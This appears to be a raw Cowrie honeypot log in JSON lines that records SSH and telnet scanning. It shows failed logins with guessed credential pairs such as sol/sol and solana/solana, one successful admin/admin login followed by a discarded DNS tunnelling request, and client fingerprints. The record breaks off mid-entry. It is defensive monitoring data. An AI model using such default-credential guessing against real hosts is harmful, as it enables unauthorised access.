{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:83:64:bc:2e:8c:d0:6b:5e:90:94:54:7e:23:8e:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqmtgo0IuzkIBs6oWa0vqoX7RMYNm8opKrgnUE0PP0zqqT8hqXzKmSP77yLcSXLOCrkWOC3W1/lqGDzwVqtNcnE8yfHuNWBzfw817VNYxpC3/tRtLHooaL3OmgMBME52BJ95c32iypwrXA3amY33//TPM/IUezVigjhvOiZxrB2pHQgFALW4eGY8GGWiyH0wRCPwduBxmKL6WcpELq8bK5WLmKCdAOM1JFCVDqW05S8eroincHajdY0B8Om08MzV4RvcYBn/0p46v0ONbo8z2ehl4FlykISHsg1wVH3V/JlPZY71hZFHcZqA6zjVKGKpinr7fMhRIh9q1DHy2Xr+2JTVCDqNEfVTD3wi8XMp3Ilb3aAf7Eqw2CwfZbnflebI9iZrro5/efbOzK/1tjXBJepA3AsaU8r4GxKX3lnc7w0FtngrDu3jCf9VTMVNwR3fjw12yCoZrQ4monuR/g35SGa4uzDZG8kEfwB9M8INAU5OV5Bth+WGWG9mJhGOT9ewTt/1q41Sybbi3LIrYKupEB5fr6jSUvmpyjY4uq1SRylfWjAQfQ0Xcfzrt0JXg26XlQtIaGu4hQFmwuUVK2HUDAezYxV8Z2wKnNoLBUH0BxPG1F/CTNn9b7bqNv2ES5mn3zNBUifrStXPwkldV69i5vDXKazxofdQoWOxM8MslCkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.960876Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:45.002764Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":40672,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccfabbf6ea50","protocol":"telnet","message":"New connection: 180.235.129.180:40672 (10.17.0.5:23) [session: ccfabbf6ea50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:28:01.514031Z"}
{"eventid":"cowrie.session.closed","duration":4.65838098526001,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:28:06.172280Z","src_ip":"180.235.129.180","session":"ccfabbf6ea50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.81660223007202,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:28:12.513571Z","src_ip":"180.235.129.180","session":"f9bc3892e6a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":43862,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1c5c45798d4","protocol":"telnet","message":"New connection: 180.235.129.180:43862 (10.17.0.5:23) [session: f1c5c45798d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:28:36.344191Z"}
{"eventid":"cowrie.session.closed","duration":7.519771099090576,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:28:43.863815Z","src_ip":"180.235.129.180","session":"f1c5c45798d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01031541824341,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:28:56.576969Z","src_ip":"180.235.129.180","session":"6ac89230c07b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":47274,"dst_ip":"10.17.0.5","dst_port":23,"session":"21107c0f971f","protocol":"telnet","message":"New connection: 180.235.129.180:47274 (10.17.0.5:23) [session: 21107c0f971f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:29:15.426481Z"}
{"eventid":"cowrie.session.closed","duration":8.18921422958374,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:29:23.615583Z","src_ip":"180.235.129.180","session":"21107c0f971f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":49912,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfd271ebc07f","protocol":"telnet","message":"New connection: 180.235.129.180:49912 (10.17.0.5:23) [session: cfd271ebc07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:29:47.045356Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":49910,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dc907880473","protocol":"telnet","message":"New connection: 180.235.129.180:49910 (10.17.0.5:23) [session: 4dc907880473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:29:48.150999Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":49934,"dst_ip":"10.17.0.5","dst_port":23,"session":"96dc004bd95a","protocol":"telnet","message":"New connection: 180.235.129.180:49934 (10.17.0.5:23) [session: 96dc004bd95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:29:50.358085Z"}
{"eventid":"cowrie.session.closed","duration":6.593336820602417,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:29:54.744242Z","src_ip":"180.235.129.180","session":"4dc907880473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.148902177810669,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:29:55.194134Z","src_ip":"180.235.129.180","session":"cfd271ebc07f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42560,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa99e6750d82","protocol":"ssh","message":"New connection: 193.32.162.145:42560 (159.203.135.109:22) [session: fa99e6750d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:30:17.485998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:30:17.506811Z","src_ip":"193.32.162.145","session":"fa99e6750d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:30:17.681845Z","src_ip":"193.32.162.145","session":"fa99e6750d82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:30:18.066295Z","src_ip":"193.32.162.145","session":"fa99e6750d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:30:19.172714Z","src_ip":"193.32.162.145","session":"fa99e6750d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":58362,"dst_ip":"10.17.0.5","dst_port":23,"session":"6804711e4ef5","protocol":"telnet","message":"New connection: 180.235.129.180:58362 (10.17.0.5:23) [session: 6804711e4ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:31:29.326182Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":58364,"dst_ip":"10.17.0.5","dst_port":23,"session":"849e38cbdfd9","protocol":"telnet","message":"New connection: 180.235.129.180:58364 (10.17.0.5:23) [session: 849e38cbdfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:31:30.307586Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":58388,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab89bb2c989f","protocol":"telnet","message":"New connection: 180.235.129.180:58388 (10.17.0.5:23) [session: ab89bb2c989f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:31:30.587798Z"}
{"eventid":"cowrie.session.closed","duration":7.691620588302612,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:31:37.999042Z","src_ip":"180.235.129.180","session":"849e38cbdfd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.726893663406372,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:31:38.052923Z","src_ip":"180.235.129.180","session":"6804711e4ef5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.870028018951416,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:31:38.457712Z","src_ip":"180.235.129.180","session":"ab89bb2c989f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0037989616394,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:31:50.361790Z","src_ip":"180.235.129.180","session":"96dc004bd95a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56530,"dst_ip":"159.203.135.109","dst_port":22,"session":"faf4d2bf1683","protocol":"ssh","message":"New connection: 193.32.162.145:56530 (159.203.135.109:22) [session: faf4d2bf1683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:27.435148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:27.439870Z","src_ip":"193.32.162.145","session":"faf4d2bf1683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:27.543558Z","src_ip":"193.32.162.145","session":"faf4d2bf1683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:27.882535Z","src_ip":"193.32.162.145","session":"faf4d2bf1683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:28.989595Z","src_ip":"193.32.162.145","session":"faf4d2bf1683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31588,"dst_ip":"10.17.0.5","dst_port":22,"session":"8144ed9d9d08","protocol":"ssh","message":"New connection: 87.251.64.176:31588 (10.17.0.5:22) [session: 8144ed9d9d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:29.512412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:29.517243Z","src_ip":"87.251.64.176","session":"8144ed9d9d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:29.620314Z","src_ip":"87.251.64.176","session":"8144ed9d9d08","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:29.910681Z","src_ip":"87.251.64.176","session":"8144ed9d9d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:30.010097Z","session":"8144ed9d9d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:30.109870Z","src_ip":"87.251.64.176","session":"8144ed9d9d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:32:30.346327Z","src_ip":"87.251.64.176","session":"8144ed9d9d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":39528,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d8d2112d04","protocol":"telnet","message":"New connection: 180.235.129.180:39528 (10.17.0.5:23) [session: c4d8d2112d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:33:23.002169Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.200.208","src_port":26774,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5c0af5e0c63","protocol":"ssh","message":"New connection: 195.154.200.208:26774 (10.17.0.5:22) [session: e5c0af5e0c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:18.671934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:18.676929Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:18.762768Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:92:03:bd:fd:b8:fb:f2:18:2d:3c:f3:73:20:5b:8c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINAd30Ck3MeKof5Nq9S9xL8KwaTPBBmOHZoARcpMlXPF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 83:92:03:bd:fd:b8:fb:f2:18:2d:3c:f3:73:20:5b:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.149553Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:92:03:bd:fd:b8:fb:f2:18:2d:3c:f3:73:20:5b:8c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINAd30Ck3MeKof5Nq9S9xL8KwaTPBBmOHZoARcpMlXPF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.153558Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:ed:6f:3e:f1:f7:52:c6:5f:62:b7:f4:36:0b:57:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD5DAe7SHfi0sZRl2QLyWpHVMW9PS8LRcFf0/QbEU4P1SpYDkj4tDwdS6W7RQytSgckqXcnq7Lu2HGyXi2Vwrj7prWsxjv/9I7pDKuiBrK9Jh7fbldOjiUGXU5jqIE9U6zL1o/dOC/Vlc/rw7I5K6B46N4CBvNM1DOmdCvb+gZWxInwu7/UrUoIrPEDZVZDuOu1hKErItBKOIVI6n23H7DjPrJJQJQMlHWOKrj3dWf5CGDtec6sS6nyG6AHF2B9V8GCyA1wDaJg2jS50n5Rup8pEhphiwCimp85HWhtv/O57DlB8B6qHAo5lEdXDWDDql2b00IEI5R9pfBRzAgJYAkKp7SPU2WPmMAIiK3vQkl1djvgQVhTp4IP/HedI6sCmYOWhAr+vocrGxWOy+xGnW/1cU3Bqwq11B0Ii6q5QVKXXoKQCIphoGEJAazfWz9DVSDqwn3dwkRhnkyEwwVASzWO5LJbXIhM64ezC/ktSXSugFSN776VjPVj2giScLDf/jBpbigI71o2dua2Gx0HXq256ZgwEBA2Oc0OgBvoGSGRto16kjNiT3Zhe8F6oZZ3FjhPXZGrWIkdABu5nm2XIUTgNLLun1286pP6ncjUgXO3FEmMJONxDL2YAOuFyD5Y7uz0snWXjGY6IMEDWwOW3bbwC3g7lHEbx8YrGn3DtVyvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:ed:6f:3e:f1:f7:52:c6:5f:62:b7:f4:36:0b:57:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.238196Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:ed:6f:3e:f1:f7:52:c6:5f:62:b7:f4:36:0b:57:8a","key":"ssh-rsa 